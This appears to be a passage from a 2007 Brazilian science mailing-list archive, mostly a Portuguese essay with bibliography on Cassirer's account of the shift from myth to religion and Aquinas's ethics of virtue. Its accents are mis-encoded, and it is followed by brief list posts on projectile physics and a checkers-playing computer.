Esse elemento comum, essa unidade em meio � diversidade que Cassirer aponta,
no caso do pensamento m�tico, � "uma unidade de sentimento", que se
fundamenta na "conscientiza��o da universalidade e fundamental identidade da
vida" (1946, p.53). A ess�ncia do mito n�o � regida pelo pensamento
racional, mas sim pelo sentimento. A mente primitiva v� o mundo de forma
espec�fica; n�o busca, como no pensamento cient�fico, dividir e classificar
as diversas formas de vida e os diversos elementos da natureza. A rela��o da
mente primitiva para com a sua comunidade e para com a natureza � de
profunda comunh�o. O primitivo n�o se sente um ser separado do resto da
natureza, mas se sentem todos unidos e participantes de um mesmo todo, como
se fossem um �nico organismo, cuja express�o desse desejo se manifesta
atrav�s dos ritos. Nas palavras de Cassirer, o que encontramos na cren�a
primitiva �

um profundo e ardente desejo dos indiv�duos no sentido de se identificarem
com a vida da comunidade e com a vida da natureza. Esse desejo � satisfeito
pelos ritos religiosos. Aqui os indiv�duos fundem-se num todo homog�neo.
(1946, p.54)

A rela��o dos membros da tribo entre si e entre a natureza � de 'simpatia' e
n�o de 'causalidade'. Isto �, suas rela��es n�o seguem princ�pios de causa e
efeito, mas sim princ�pios emocionais. Cassirer cita como exemplo que quando
os homens da tribo *Dayak *saem para ca�ar, os que ficaram na aldeia n�o
podem molhar as m�os com �gua ou azeite, pois caso isso ocorra, aqueles que
sa�ram tamb�m ficar�o com as m�os e os dedos escorregadios e assim as ca�as
escapar�o. O homem primitivo se sente membro de uma �nica sociedade, a
*"sociedade
da vida".* Nessa sociedade os homens e os elementos da natureza est�o no
mesmo plano, unidos por um sentimento profundo. O homem n�o se encontra num
n�vel superior a esse plano, n�o se encontra numa situa��o privilegiada.
Mesmo o nascimento e a morte para o primitivo n�o s�o concebidos como um
acontecimento f�sico, natural. Interpretam de forma m�tica. O nascimento,
via de regra, � visto como uma forma de reencarna��o; acrescenta-se a isso
que desconhecem, inicialmente, o funcionamento da procria��o e
conseq�ente-mente a participa��o humana nesse evento. J� a morte nunca �
concebida como algo natural, como algo inevit�vel que um dia inexoravelmente
iria ocorrer. A morte � sempre atribu�da a outras causas que n�o sejam
naturais. A morte de um indiv�duo � sempre atribu�da em raz�o de bruxaria,
magia ou pela a��o de outro homem ou mulher o qual ser� castigado por tal
ato. Essa *sociedade da vida* que abrange todos os seres da natureza, tanto
animados como inanimados, a qual pertence o homem primitivo n�o segue as
leis da causalidade convencional, mas � um produto da emo��o.

Para que essa sociedade se mantenha � necess�rio renov�-la constantemente.
Essa renova��o se d� atrav�s dos ritos. Os ritos de inicia��o, assim como os
ritos de vegeta��o, presentes em quase todas as sociedades primitivas,
guardam uma estreita semelhan�a entre si. Ambos pertencem a um mesmo
processo de regenera��o da vida, representam a continuidade de um ciclo, do
que deve morrer para renascer. Atrav�s dos rituais espec�ficos a crian�a
deixa de ser crian�a e se torna adulta, assim tamb�m os ciclos das esta��es
da natureza est�o indissoci�veis da vida humana. Para cada esta��o do ano h�
um ritual espec�fico que garante a continuidade do ciclo.

O mesmo ciclo da vida que aparece na sociedade humana e que constitui a sua
pr�pria ess�ncia aparece tamb�m na natureza. O ciclo das esta��es n�o �
devido �s for�as meramente f�sicas. Est� indissoluvelmente ligado � vida do
homem. A vida e morte da natureza � parte integrante do grande drama da
morte e ressurrei��o do homem. (1946, p.57)

Atrav�s da linguagem o ser humano objetiva suas percep��es sens�veis.
Percep��o esta j� carregada de significado, pois o homem n�o tem acesso a
uma realidade "pura", em estado bruto, desprovida de sentido. O mito �
tamb�m uma forma de objetiva��o, uma tentativa de explica��o da realidade.
Mas enquanto o "simbolismo ling��stico conduz a uma objetiva��o das
impress�es sensoriais; o simbolismo m�tico leva a uma objetiva��o de
sentimentos" (1946, p.62). Pois, se nos ritos m�gicos e nas cerim�nias
religiosas os homens agem de forma inconsciente, movidos por profundos
sentimentos individuais e fortes press�es sociais, no mito j� temos um novo
aspecto. "Mas se esses ritos se transformam em mitos aparece um novo
elemento" (1946, p.62). Esse novo elemento � a busca de "significado"
daquilo que o homem faz nos ritos. O homem busca saber os "porqu�s", j� n�o
se satisfaz somente com o agir, quer uma resposta; mesmo que essa resposta
possa nos parecer fant�stica ou absurda, o mais importante n�o � o conte�do
da resposta, mas sim o pr�prio ato de perguntar. "T�o depressa o homem
come�a a refletir acerca dos seus atos, deu um passo decisivo; penetrou num
caminho novo, que no fim o conduzir� longe de sua vida inconsciente e
instintiva" (1946, p.62).
6 Mito e Religi�o [vii]
<http://www.hottopos.com/notand11/vladimir.htm#_edn7>

6.1 A Origem comum

Segundo Cassirer, mito e religi�o s�o formas simb�licas distintas. Muito
embora, possuam como ponto de partida problemas comuns e fundamentais da
vida humana. Entre estes problemas se destaca o da morte.

A id�ia de que a morte seja algo natural e previs�vel da condi��o humana,
n�o esta presente, segundo Cassirer, nem no mito nem na religi�o primitiva.
"A concep��o de que o homem � mortal, por sua natureza e ess�ncia, parece
ser inteiramente estranha ao pensamento m�tico e religioso primitivo."
(1944, p. 140) A morte sempre aparece associada a causas n�o naturais, como
magia, bruxaria entre outros. Cassirer no seu *Ensaio sobre o homem*,
endossa a tese que Herbert Spencer defende de "que o culto aos ancestrais
deve ser considerado como a primeira fonte e a origem da religi�o." (1944,
p.141) Segundo Cassirer, essa � realmente uma pr�tica comum em diferentes
culturas, como em v�rias tribos ind�genas, na Roma antiga ou mesmo na China.
"Tudo isso mostra de maneira clara e inequ�voca que temos aqui uma
caracter�stica realmente universal, irredut�vel e essencial, da religi�o
primitiva." (1944, p. 143)

Embora a morte se apresente, a princ�pio, como um mist�rio e possa
desencadear o medo e, conseq�entemente pr�ticas para que o esp�rito n�o
retorne, em geral, a tend�ncia oposta � a que predomina. Os rituais s�o
realizados para fazer com que os fantasmas dos mortos se tornem deuses
familiares. Segundo Cassirer, o pensamento m�tico e o religioso t�m suas
origens em iguais acontecimentos fundamentais da exist�ncia.

Em todo o curso de sua hist�ria, a religi�o permanece indissoluvelmente
ligada a elementos m�ticos, e impregnada deles. Por outro lado o mito, mesmo
em suas formas mais grosseiras e rudimentares, traz em si alguns motivos que
de certo modo antecipam os ideais religiosos superiores que chegam depois.
Desde o in�cio, o mito � religi�o em potencial. O que leva de um est�gio
para outro n�o � nenhuma crise repentina de pensamento, nem qualquer
revolu��o de sentimento. (1944, p. 146)

Dessa forma, embora haja *elementos* comuns entre o mito e a religi�o, a *
forma* como a religi�o trata esses elementos vai caracterizando seu
distanciamento gradativo e, por fim, radical em rela��o ao pensamento
m�tico.

6.2 A transi��o do mito para religi�o

Segundo Cassirer, o mito � a forma mais primitiva de conforma��o espiritual
do mundo. "Muito antes que o mundo se d� a consci�ncia como um conjunto de
'coisas' emp�ricas e como um complexo de 'propriedades' emp�ricas, se lhe d�
como um conjunto de pot�ncias e influxos mitol�gicos". (1925a, p.17)

Assim, as demais formas simb�licas possuem no mito seu n�cleo origin�rio
comum. Mas Cassirer, n�o defende um progresso evolutivo semelhante ao de
Comte, em que se passaria pela etapa do "teol�gico" ao "metaf�sico" e deste
ao "positivo". Para Cassirer n�o se chega a um puro estado racional em que o
mito seria totalmente superado. N�o existe tal processo evolutivo
unidirecional, as formas simb�licas est�o justapostas, s�o irredut�veis umas
�s outras e possuem o mesmo grau de objetividade. O que existe, na verdade,
� um permanente conflito entre e intra as formas simb�licas. Nas palavras de
Cassirer no seu *Ensaio sobre o Homem*: "Se existe um equil�brio na cultura
humana, s� pode ser descrito como din�mico, e n�o est�tico; resulta de uma
luta entre for�as opostas" (1944, p.363). Essas for�as opostas s�o as v�rias
formas simb�licas, mito, religi�o, ci�ncia etc., que na sua auto-afirma��o
produzem esse equil�brio conflituoso e, segundo Cassirer, em todas as
atividades humanas existe "uma tens�o entre estabiliza��o e evolu��o, entre
uma tend�ncia que leva a formas fixas e est�veis de vida e outra que rompe
com esse esquema r�gido" (1944, p.365). Assim, al�m do conflito existente
entre as formas simb�licas, as antinomias da cultura, existe tamb�m dentro
de cada forma simb�lica uma tens�o entre estabilidade e evolu��o. O homem
encontra-se dentro dessas tend�ncias, entre as for�as da preserva��o e as
for�as da mudan�a. Como o homem � um ser din�mico e criativo e tamb�m o
pr�prio agente dessas for�as, ocorre que quando uma for�a se torna
preponderante e rompe com a antiga tem-se a configura��o de uma nova forma
particular. Nas palavras de Cassirer,

H� uma luta incessante entre a tradi��o e a inova��o, entre for�as
produtivas e criativas. Esse dualismo � encontrado em todos os dom�nios da
vida cultural. O que varia � a propor��o dos fatores opostos. Ora um fator,
ora outro, parece preponderar. Essa preponder�ncia determina em alto grau o
car�ter das formas isoladas e confere a cada uma delas a sua fisionomia
particular. (1944, p.365)

Essa passagem busca explicar o processo pelo qual se configura uma nova
forma simb�lica, j� que o conflito existe n�o s� entre as formas simb�licas,
mas tamb�m dentro de cada uma manifestando-se atrav�s de for�as de
conserva��o e mudan�a. Quando as for�as da mudan�a se tornam preponderantes,
dialeticamente se desprendem do seu n�cleo original configurando sua pr�pria
fisionomia e autonomia, ocorre uma mudan�a na vis�o de mundo dessa nova
forma que j� n�o a torna poss�vel conviver com a qual pertencia.

Tal tens�o tamb�m se faz presente no processo gradativo de transi��o do mito
e da religi�o primitiva para a religi�o. Conforme exp�e no *Ensaio sobre o
homem:*

O interdito sob o qual a vida humana fora posta pelo pensamento m�tico e
religioso primitivo � gradualmente afrouxado, e finalmente d� mostras de ter
perdido a sua for�a coesiva. Surge uma nova forma din�mica de religi�o que
abre uma nova perspectiva de vida moral e religiosa. Nessa religi�o
din�mica, os poderes individuais obtiveram a predomin�ncia sobre os simples
poderes de estabiliza��o. A vida religiosa alcan�ou sua maturidade e sua
liberdade; quebrou o feiti�o de um tradicionalismo r�gido. (1944, p. 367)

Dessa forma, a transi��o do mito para religi�o ocorre por um processo lento,
gradual e dial�tico, resultante da tens�o entre as for�as de conserva��o e
de transi��o no interior do pensamento m�tico. Se ao final desse processo,
se pode observar *elementos* comuns entre o mito e a religi�o o mesmo n�o se
pode dizer em rela��o a sua *forma*. Algumas das principais diferen�as entre
mito e religi�o podem ser apontadas nos seguintes aspectos: a) A rela��o
signo significado; b) A rela��o simp�tica e a introdu��o do logos; c) Magia
e sacrif�cio; d) Tabu e �tica. Vejamos cada uma delas.

6.3 A rela��o signo significado

Conforme foi visto anteriormente, o pensamento m�tico n�o diferencia nem
signo do significado nem imagem da coisa. O signo e a imagem est�o como que
"colados" aos atributos das coisas que designam e assumem, dessa forma, as
propriedades da pr�pria coisa. J� no pensamento religioso h� uma mudan�a
radical em rela��o a esse aspecto. A religi�o ao se utilizar imagens e
signos sens�veis em rela��o ao divino os utilizam como representa��o.
Cassirer cita a cr�tica que Isaias (44-9) faz a adora��o de imagens:

'Parte da lenha queima no fogo... E transforma sua sobra em um deus, em sua
escultura; humilha-se diante dela, adora, e roga dizendo: livra-me, que meu
deus �s tu (...) Diante de um tronco de �rvore tenho de me humilhar?' (1925a ,
p.295)

Enfim, no pensamento religioso n�o se concebe como no pensamento m�tico que
a imagem � o pr�prio deus e como tal � dotada de poderes, mas sim que a
imagem apenas representa ou remete ao deus ou a divindade.

6.4 A rela��o *simp�tica* e a introdu��o do *l�gos*

Tanto no mito como na religi�o, Cassirer identifica uma cren�a na 'simpatia
pelo todo', mas tamb�m que a simpatia religiosa � diferente da m�tica.

No pensamento m�tico o homem est� em comunh�o com a natureza, como se fosse
um �nico organismo. Os ritos garantem a continuidade dos ciclos da natureza
e da exist�ncia humana. O homem intervem na natureza atrav�s de ritos e
pr�ticas m�gicas. J� no pensamento religioso, a natureza passa a ser
abordada do ponto de vista racional e n�o exclusivamente emocional.

Nenhuma religi�o p�de jamais pensar em cortar, ou sequer afrouxar, os la�os
entre o homem e a natureza. Mas nas grandes religi�es �ticas esse la�o �
feito e apertado em um novo sentido. A liga��o simp�tica que encontramos na
magia e na mitologia primitiva n�o � negada ou destru�da.; mas a natureza �
agora abordada do ponto de vista racional, em vez do emocional. Se a
natureza cont�m um elemento divino, ele n�o aparece na abund�ncia da sua
vida, mas na simplicidade da sua ordem. (1944, p.165)

Aqui tamb�m se pode exemplificar um novo enfoque. Enquanto o mito "explica"
suas cren�as de uma forma emocional, a religi�o utiliza o *l�gos*, explica
sua cren�a com base em argumentos racionais. Mesmo aquilo que �
"inexplic�vel" passa a ser argumentado o por que de tal condi��o. Na verdade
o *l�gos* j� se faz presente tamb�m na rela��o signo significado, na n�o
identidade entre o representante e o representado.

6.5 Magia e sacrif�cio

Outro aspecto importante e transforma��o da rela��o entre o ser humano e o
divino. A rela��o m�gica vai sendo lentamente substitu�da por um outro tipo
de rela��o. "Em seu sentido original, todo sacrif�cio entranha um fator
negativo: significa uma limita��o do apetite sens�vel, uma ren�ncia que o eu
se imp�e a si mesmo" (1925a, p.274). O sacrif�cio se eleva acima da vis�o
m�gica, pois nesta inicialmente n�o h� limita��o para o cumprimento dos
desejos humanos. A magia � um instrumento para "manipular" os desejos das
for�as espirituais e coloc�-las a servi�o do homem; ela n�o conhece limites
na sua a��o de submeter � vontade dos deuses. J� no sacrif�cio est� presente
outro elemento e dire��o. Desde os seus primeiros est�gios est� presente a
concep��o de que o poder est� relacionado proporcionalmente a uma
autocontin�ncia, a uma abstin�ncia correlativa. Nesse ato negativo do
sacrif�cio e do ascetismo emerge uma nova consci�ncia de si e do divino. O
homem toma consci�ncia de que n�o � dotado de onipot�ncia, mas que est�
sujeito a limites, e tamb�m que o divino � um poder superior n�o manipul�vel
atrav�s da magia, mas que atrav�s da ora��o e do sacrif�cio pode ser
aplacado. Quando o sacrif�cio deixa de ser meramente material, como por
exemplo de animais, para um sacrif�cio interno, de "venera��o". O que passa
a ser importante n�o � mais o *"conte�do da oferenda",* mas sim a *"forma de
dar".* Aqui a oferenda � interiorizada e a verdadeira oferenda passa a ser a
interioridade do homem. Cassirer identifica uma virada semelhante na
religi�o prof�tica em rela��o ao sacrif�cio. Cita Isaias (1-11-17) 'Para que
a mim, disse Jeov�, a grande quantidade de vossos sacrif�cios? Farto estou
do holocausto de carneiros e do sebo de animais... Aprende a fazer o bem.'
(1925a, p.278). Entre o homem e o divino se estabelece ent�o uma rela��o
essencialmente �tica.

6.6 Tabu e �tica

Outro elemento importante � a substitui��o do tabu pela �tica. O tabu �
marcado como algo proibido, sobrenatural e que n�o se deve ter contato (pode
ser um objeto, um lugar, uma a��o etc) sob risco de castigo. No sistema de
tabu n�o h� responsabilidade individual. Se algu�m desrespeita o tabu n�o �
s� ele que receber� castigo, mas toda sua fam�lia ou tribo. Deve-se ent�o
recorrer aos ritos de purifica��o para transferir a impureza para um "bode
expiat�rio" ou um p�ssaro e restabelecer o equil�brio. Outro aspecto � que a
contamina��o pelo contato com o objeto tabu � de forma "mec�nica". Pouco
importa se o contato com o mesmo foi proposital, acidental, por ignor�ncia
etc, a contamina��o ser� certeira.

'... a a��o do tabu � sempre mec�nica; o contato com o objeto tabu comunica
a sua infec��o com tanta certeza quanto o contato com �gua comunica a
umidade, ou com uma corrente el�trica comunica um choque el�trico.' (Jevons.
In Cassirer,1944, p. 176)

Para Cassirer, neste aspecto, no pensamento religioso, ocorrer� um gradual
processo que levar� a uma "mudan�a de sentido" em rela��o � pureza ou
impureza dos objetos. Ele afirma que tal mudan�a pode ser encontrada no
Velho Testamento e que ocorreu no desenvolvimento do juda�smo.

O ideal de pureza significa algo totalmente diferente de todas as
concep��es m�ticas precedentes. Procurar por pureza ou impureza em um
objeto, em uma coisa material, passou a ser imposs�vel. Mesmo as a��es
humanas, como tais, deixaram de ser vistas como puras ou impuras. A �nica
pureza que tem significado e dignidade do ponto de vista da religi�o � a
pureza do cora��o. (1944, p. 177)

Esta mudan�a remete a outra tamb�m importante. O sistema de tabus obriga ao
homem uma s�rie de deveres e de obriga��es. E entre estes h� de comum o fato
de serem totalmente negativos, sem nenhum car�ter positivo. O sistema de
tabus embora seja, por um lado, uma importante forma de regular as a��es
humanas e a vida social, por outro lado, ele amea�a paralisar a vida com
suas restri��es. J� que em alguns casos n�o se pode comer determinados
alimentos, andar ou ficar parado em determinados locais ou pronunciar tais
palavras. Seu fio condutor � a proibi��o e conseq�entemente o medo e
derivado deste, a obedi�ncia passiva. Segundo Cassirer, as grandes religi�es
transformam essa submiss�o passiva em um sentimento positivo.

No entanto, os grandes mestres religiosos da humanidade encontraram um novo
impulso (...) Transformaram a obedi�ncia passiva em um sentimento religioso
ativo. Todas as religi�es �ticas superiores � a religi�o de dos profetas de
Israel, o zoroastrismo, o cristianismo � propuseram-se uma tarefa comum.
Elas aliviam o peso intoler�vel do sistema de tabus, mas em compensa��o
descobrem um sentido mais profundo de obriga��o religiosa, que em vez de ser
uma restri��o ou compuls�o � a express�o de um novo ideal positivo de
liberdade humana. (1944, p. 179)

Esse ideal positivo de liberdade humana � pautado na concep��o que o ser
humano � dotado de livre arb�trio, ou seja, � capaz de refletir sobre o bem
e o mal, fazer escolhas e ser respons�vel por elas. Sua rela��o com o divino
deixa de ser regulada pelo medo ou pela tentativa de manipula��o atrav�s da
magia para se tornar uma rela��o �tica. Nesta rela��o utiliza o l�gos para
entender o divino e praticar a virtude. Conforme exp�e Cassirer no* Ensaio
sobre o homem*:

O sentido �tico substituiu e superou o sentido m�gico. Toda a vida do homem
torna-se uma luta ininterrupta em prol da virtude. A tr�ade de 'bons
pensamentos, boas palavras e boas a��es' tem o papel mais importante nessa
luta. O divino n�o � mais procurado ou abordado por poderes m�gicos, mas
pelo poder da virtude. (1944, p. 166)

7. A moral religiosa segundo Tom�s de Aquino

Conforme foi visto anteriormente, na religi�o a rela��o do homem com o
divino, diferentemente do mito, utiliza-se do *l�gos* e se torna uma
rela��o essencialmente moral. Como Cassirer n�o tem como objetivo explorar
em profundidade o que vem a ser essa moral religiosa, ser� utilizado neste
item o pensamento de Tom�s de Aquino em rela��o � mesma.

Para Tom�s a moral religiosa n�o deve ser entendida como uma moral cat�lica,
uma vez que para ele, a moral da igreja n�o � uma moral restrita aos
cat�licos, mas serve para todos os seres humanos, independente da
religi�o.[viii]
<http://www.hottopos.com/notand11/vladimir.htm#_edn8>Tal abrang�ncia se deve
ao fato que a moral na concep��o de Tom�s est� intrinsecamente vinculada ao
*ser do homem*. Isto �, a moral n�o � concebida como algo imposto
exteriormente visando o controle das a��es, mas sim como algo interior que
propicia a auto-realiza��o humana. Conforme exp�e Lauand:

... para Tom�s a moral � entendida como um processo de auto-realiza��o do
homem; um processo levado a cabo livre e responsavelmente e que incide sobre
o n�vel mais fundamental, o do ser do homem: "Quando por�m se trata da
moral, a a��o humana � vista como afetando, n�o a um aspecto particular, mas
a totalidade do ser do homem...; ela diz respeito ao que se � enquanto
homem" (I-II, 21, 2 ad 2). (1997, p.10)

Dessa forma, se a moral atinge a globalidade da vida humana e se ela se
refere ao ser do homem, ent�o � fundamental que se conhe�a qual � este *ser
do homem*. E quando se fala em *ser do homem, *na perspectiva de Tom�s, n�o
se deve pensar que ele se refere apenas ao car�ter espiritual, mas sim no
ser humano enquanto esp�rito e mat�ria. O que � o *ser do homem* para Tom�s?
Para ele, o homem � um ser em processo de realiza��o, um ser que ainda "n�o
est� pronto", conforme explica Lauand:

� a este homem que se dirige � �tica de Tom�s; ao homem esp�rito unido �
mat�ria, ser-em-pot�ncia, que ainda n�o atingiu a estatura a que est�
chamado e para quem a moral se expressa na senten�a de P�ndaro: "Torna-te o
que �s". (1997, p. 11)

O ser humano deve "tornar-se o que �". Mas como saber o que o homem pode
ser? Na verdade, o ser humano deve buscar sua *aret�*. E qual a *aret� *do
homem? E ele buscar seu *ultimum potentiae*, o m�ximo que ele pode ser, ou
seja, buscar a plenitude do desenvolvimento do seu ser. E isso � poss�vel? �
poss�vel pelo fato de ser humano ter uma abertura para totalidade, ou seja,
o ser humano enquanto criatura divina possui no seu ser um *l�gos* e neste *
l�gos* esta inserida a capacidade para "tornar-se o que deve ser".

Dessa forma, compreendido o que � o *ser do homem* e o que ele *deve ser*,
surge uma outra interroga��o: como fazer para que isso ocorra? Para tal fim
o ser humano deve fazer uso da moral. Nesta perspectiva a moral ganha um
novo enfoque, j� que ela � a condi��o de possibilidade da auto-realiza��o
humana. Ou seja, compreendido qual o *ser do homem *a moral deve ser
aplicada de acordo com este primeiro fundamento para propiciar o seu *vir a
ser*. Conforme explica Lauand, sobre Tom�s:

Para ele, cada norma moral �, como diz�amos, um enunciado sobre o ser. Os
imperativos dos mandamentos ("Far�s x....", "N�o far�s y...") s�o, no fundo,
enunciados sobre a natureza humana: "O homem � um ser tal que sua
felicidade, sua realiza��o, requer x e � incompat�vel com y". (1997, p. 11)

Assim, as regras morais n�o devem ser compreendidas como imposi��es
externas, mas como explicita��es da l�gica interna do ser do homem e a
condi��o para realiza��o do "Torna-te o que �s!". Dessa forma, o agir moral
� o que tornar� poss�vel trilhar o caminho que conduz ao *ultimum
potentiae*humano. Para isso se faz necess�rio agir com virtude.
Adquirir o h�bito da
virtude � pressuposto do agir moral. E entre as virtudes cardeais, Tom�s
considera a Prud�ncia como primordial. Ela � a "m�e", a genitora das outras
virtudes, j� que as outras � Justi�a, Fortaleza, Temperan�a � n�o podem se
realizarem se n�o houver Prud�ncia. Conforme exp�e Pieper:

Desse modo, ningu�m poderia � e, por estranho que possa parecer, de fato �
assim � praticar a Justi�a, a Fortaleza ou a Temperan�a a n�o ser que seja
ao mesmo tempo prudente. Ao mesmo tempo, e at� antes. (*in* Lauand, 1997, p.
24)

E o que vem a ser a virtude da Prud�ncia? Ela � a *recta ratio agibilium*,
ou seja, a reta raz�o nas coisas ag�veis. Dessa forma, para agir com reta
raz�o � necess�rio, em primeiro lugar, "ver a realidade". Esse "ver a
realidade" desse ser feito com lucidez, o que implica n�o ser afetado por
uma s�rie de outros interesses: pessoais, corporativos, partid�rios etc.
Satisfeita essa primeira necessidade, decorre outra, ainda mais dif�cil. Ao
se conseguir ver a realidade de forma l�cida, deve-se agir de acordo com o
que foi visto. (Cf. Pieper, *in* Lauand, 1997, p. 26) Outra vez, �
necess�rio que n�o se deixe outros interesses interferir na a��o. Alcan�ada
essas duas condi��es se configura o agir com prud�ncia, condi��o primordial
para praticar as outras virtudes.

Assim, ser moral significa agir com virtude, propiciando dessa forma, o
desenvolvimento do potencial latente que h� no ser do ser humano,
possibilitando trilhar o caminho do "torna-te o que �s".

------------------------------

[i] <http://www.hottopos.com/notand11/vladimir.htm#_ednref1>Algumas partes
deste texto t�m como base o cap�tulo 1 e 2 da disserta��o de Mestrado em
Filosofia � *Ernst Cassirer: o mito pol�tico como t�cnica de poder no
nazismo* � defendida na PUC SP em 2000, sob orienta��o do Prof. Dr. M�rio
Ariel Gonz�les Porta.

[ii] <http://www.hottopos.com/notand11/vladimir.htm#_ednref2>Na verdade,
segundo Gonz�lez Porta, o que a *Filosofia das Formas Simb�licas* de
Cassirer realiza n�o � propriamente uma amplia��o de Kant, mas sim ambos
est�o diante de problemas diferentes colocados pela ci�ncia e suas respostas
tamb�m apontam solu��es distintas.

[iii] <http://www.hottopos.com/notand11/vladimir.htm#_ednref3>A
epistemologia kantiana � diferente da cassireriana porque a situa��o da
ci�ncia tamb�m � diferente. Enquanto em Kant sua epistemologia tem sua
reflex�o orientada na mec�nica newtoniana, considerada como modelo de
ci�ncia, em Cassirer sua epistemologia tem sua reflex�o orientada na teoria
do eletromagnetismo de Maxwell. Foi a impossibilidade de dar uma
interpreta��o mec�nica �s teorias de Maxwell, na segunda metade do s�culo
XIX, que marca o fim da hegemonia da mec�nica como teoria cient�fica. Com a
supera��o do mecanicismo supera-se a condi��o de intuitividade das teorias
cient�ficas, ou seja, as teorias cient�ficas n�o t�m mais uma
correspond�ncia imediata com a realidade sens�vel. Por exemplo, conceitos
como �tomo, massa, for�a etc., n�o existem de fato na realidade, mas s�o
constru��es conceituais que visam interpretar o real. Para Cassirer, isso
significa que objetividade n�o pode mais ser identificada com o conceito de
subst�ncia, com um ser sens�vel existente, mas sim como uma forma de
construir, de interpretar o mundo simbolicamente, ou seja, como uma fun��o
simb�lica.

[iv] <http://www.hottopos.com/notand11/vladimir.htm#_ednref4>O problema de
incluir outras formas simb�licas nessa lista demandaria uma longa abordagem
que n�o � o objetivo central deste estudo.

[v] <http://www.hottopos.com/notand11/vladimir.htm#_ednref5>Cassirer admite
que sua pr�pria concep��o dos tipos de constru��o interna do simb�lico tem
influ�ncia da concep��o est�tica de Goethe. "Goethe h� distinguido tr�s
formas da concep��o e da explora��o [est�tica], as que designa como 'simples
imita��o da natureza', como 'maneira' e como 'estilo'. (...) O trajeto da
imita��o ao puro s�mbolo h� de percorr�-lo a arte como percorre a linguagem,
e n�o � sen�o seguindo-o como se chega ao 'estilo', tanto daquele como
deste. S�o umas leis an�logas do processo, � um ritmo homog�neo da evolu��o
face � espontaneidade da express�o do esp�rito o que tanto aqui como ali se
revela como eficaz" (1956, p.170).

[vi] <http://www.hottopos.com/notand11/vladimir.htm#_ednref6>Cf. Gonz�les
Porta. Curso de Hist�ria da Filosofia II.- PUC.SP. 1o sem. 1998.

[vii] <http://www.hottopos.com/notand11/vladimir.htm#_ednref7>Sobre esse
assunto ver tamb�m a Tese de Mestrado: *A diferen�a entre mito e religi�o,
em Ernst Cassirer, no plano geral da "Filosofia das formas simb�licas", com
�nfase no confronto entre a consci�ncia m�tica dos povos primitivos e a
�tica prof�tica da religiosidade judaico-crist�*. (vide bibliografia)

[viii] <http://www.hottopos.com/notand11/vladimir.htm#_ednref8>Cf. Lauand.
Curso de Filosofia da Educa��o XXXII � A educa��o para as virtudes na
tradi��o ocidental. - FEUSP. 2O sem. 2003.



BIBLIOGRAFIA

CASSIRER, Ernst. Filosofia de las Formas Simb�licas I: el lenguaje. Trad.
Armando Morones. M�xico: Fondo de Cultura Econ�mica, 1998. (1923)
__________. Filosofia de las Formas Simb�licas II: el pensamiento mitico.
Trad. Armando Morones. M�xico: Fondo de Cultura Econ�mica, 1998. (1925a)
__________. Linguagem, mito e religi�o. Trad. Rui Reininho. Porto-Portugal:
R�s-Editora Lt,[199]. (1925b)
__________. Filosofia de las Formas Simb�licas III: Fenomenolog�a del
reconocimiento. Trad. Armando Morones. M�xico: Fondo de Cultura Econ�mica,
1998. (1929a)
__________. An Essay on Man: An introduction to a philosophy of human
culture. New Haven and London: Yale Universiy Press, 1992. (1944)
__________. Ensaio sobre o Homem: introdu��o a uma filosofia da cultura
humana. Trad. Tomas Rosa Bueno. S�o Paulo: Martins Fontes, 1994. (1944)
__________. The Myth of the State. New Haven London: Yale University Press,
1973. (1946)
__________. O Mito do Estado. Trad. �lvaro Cabral. Rio de Janeiro: Zahar,
1976. (1946)
__________. Esencia y efecto del concepto de s�mbolo. M�xico: Fondo de
Cultura Econ�mica, 1975. (1956)

FERNANDES, Vladimir. Ernst Cassirer: o mito pol�tico como t�cnica de poder
no nazismo. 2000. (Tese de Mestrado em Filosofia. Pontif�cia Universidade
Cat�lica de S�o Paulo)

GONZ�LEZ PORTA, Mario. De Newton a Maxwell: Una comparacion del tratamiento
del tema de la objetividad en la filosofia de la ciencia kantiana y
neokantiana com referencia particular al proyecto cassireriano de una
filosofia de las formas simbolicas. (Trad. para o espanhol do pr�prio autor
de Von Newton bis Maxwell. Objektivit�t in der Kantischen und
Neukantianischen Wissenschaftstheorie mit besonderer Ber�cksichtigung von
Cassirers Projekt einer "Philosophie der symbolischen Formen".) In:
ENGSTLER, Achim e DIETER KLEIN, Hans (Eds.). Perspektiven und Probleme
systematischer Philosophie. Bern, Peter Lang, 1996. p. 77-94.

ITZKOFF, Seymour W. Ernst Cassirer: philosofer of culture. USA: Tawayne
Publishers, 1997.
________. Ernst Cassirer: scientific knowledge and the concept of man.
London: Univ. of Notre Dame Press, 1971.

KROIS, J. M. Symbolic forms and history. New Haven and London: Yale Univ.
Press, 1987.

LAUAND, Luiz Jean. �tica e antropologia � Estudos e tradu��es. S�o Paulo:
Mandruv�, 1997.
________. Em di�logo com Tom�s de Aquino � confer�ncias e ensaios. S�o
Paulo: Mandruv�, 2002.

PAPP, Marcos Antonio. A diferen�a entre mito e religi�o, em Ernst Cassirer,
no plano geral da "Filosofia das formas simb�licas", com �nfase no confronto
entre a consci�ncia m�tica dos povos primitivos e a �tica prof�tica da
religiosidade judaico-crist�. 2000. (Tese de Mestrado em Filosofia.
Pontif�cia Universidade Cat�lica de S�o Paulo)

__._,_.__



[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 01:15

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Mm um vento q produz aceleração variável não se safa.

Vamos analisar o movimento da bola do lançamento até antes de tocar o
solo pela primeira vez:

http://br.groups.yahoo.com/group/ciencialist/files/ball5.JPG

Analisemos qto tempo terá se passado do início do movimento até o
ponto de intersecção entre as linhas rosas.

A bola caiu 18 cm verticalmente. E horizontalmente se deslocou 17,5cm.

-0,18 = -1/2.9,8.deltat1^2
deltat1' ~ 0,1917 s

Vmx1' = deltaS1/deltat1 = 0,175/0,1917 ~ 0,913 m/s

A velocidade final seria:
Vx1' = 2.Vmx1' ~ 1,83 m/s

A aceleração média seria de:
ax1' = Vx1'/deltat1' ~ 9,53 m/s2

Isso resulta em um ventinho de nada menos q 116,72 km/h.

[]s,

Roberto Takata



SUBJECT: [RN] Computador fica invencível no jogo de damas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/07/2007 01:58

http://g1.globo.com/Noticias/Tecnologia/0,,MUL73331-6174,00.html
-------------------
[]s,

Roberto Takata



SUBJECT: Nezareth Casti Rey: menino pastor prega sobre o criacionismo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
